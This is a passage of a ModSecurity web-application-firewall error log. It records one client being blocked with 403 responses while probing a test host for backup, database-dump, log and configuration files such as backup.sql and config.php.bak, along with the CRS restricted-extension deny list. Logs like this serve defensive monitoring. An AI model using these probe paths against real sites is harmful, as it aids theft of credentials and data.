&quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/access.log&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKQAAAAs&quot;]
[Sun Jun 29 20:24:28.061886 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/access.log&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKQAAAAs&quot;]
[Sun Jun 29 20:24:28.062081 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/access.log&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKQAAAAs&quot;]
[Sun Jun 29 20:24:28.110184 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/app.js.bak&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKwAAAAs&quot;]
[Sun Jun 29 20:24:28.110634 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/app.js.bak&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKwAAAAs&quot;]
[Sun Jun 29 20:24:28.110839 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/app.js.bak&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VKwAAAAs&quot;]
[Sun Jun 29 20:24:28.211634 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/backup.sql&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VLAAAAAs&quot;]
[Sun Jun 29 20:24:28.211996 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/backup.sql&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VLAAAAAs&quot;]
[Sun Jun 29 20:24:28.212196 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/backup.sql&quot;] [unique_id &quot;aGGE3N8ZUWE-JFfvKe2VLAAAAAs&quot;]
[Sun Jun 29 20:24:33.005371 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/config.php.bak&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VMgAAAAs&quot;]
[Sun Jun 29 20:24:33.005725 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/config.php.bak&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VMgAAAAs&quot;]
[Sun Jun 29 20:24:33.005921 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/config.php.bak&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VMgAAAAs&quot;]
[Sun Jun 29 20:24:33.051600 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/db.sql&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VNAAAAAs&quot;]
[Sun Jun 29 20:24:33.051949 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/db.sql&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VNAAAAAs&quot;]
[Sun Jun 29 20:24:33.052149 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/db.sql&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VNAAAAAs&quot;]
[Sun Jun 29 20:24:33.150751 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/debug.log&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VNgAAAAs&quot;]
[Sun Jun 29 20:24:33.151098 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/debug.log&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VNgAAAAs&quot;]
[Sun Jun 29 20:24:33.151290 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/debug.log&quot;] [unique_id &quot;aGGE4d8ZUWE-JFfvKe2VNgAAAAs&quot;]
[Sun Jun 29 20:24:37.751717 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/dump.sql&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VOAAAAAs&quot;]
[Sun Jun 29 20:24:37.752092 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/dump.sql&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VOAAAAAs&quot;]
[Sun Jun 29 20:24:37.752310 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/dump.sql&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VOAAAAAs&quot;]
[Sun Jun 29 20:24:37.797831 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/error.log&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VOgAAAAs&quot;]
[Sun Jun 29 20:24:37.798187 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/error.log&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VOgAAAAs&quot;]
[Sun Jun 29 20:24:37.798400 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/error.log&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VOgAAAAs&quot;]
[Sun Jun 29 20:24:37.868647 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/logs/error.log&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VPQAAAAs&quot;]
[Sun Jun 29 20:24:37.869048 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/logs/error.log&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VPQAAAAs&quot;]
[Sun Jun 29 20:24:37.869242 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/logs/error.log&quot;] [unique_id &quot;aGGE5d8ZUWE-JFfvKe2VPQAAAAs&quot;]
[Sun Jun 29 20:24:42.115687 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.conf&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VQgAAAAs&quot;]
[Sun Jun 29 20:24:42.116043 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.conf&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VQgAAAAs&quot;]
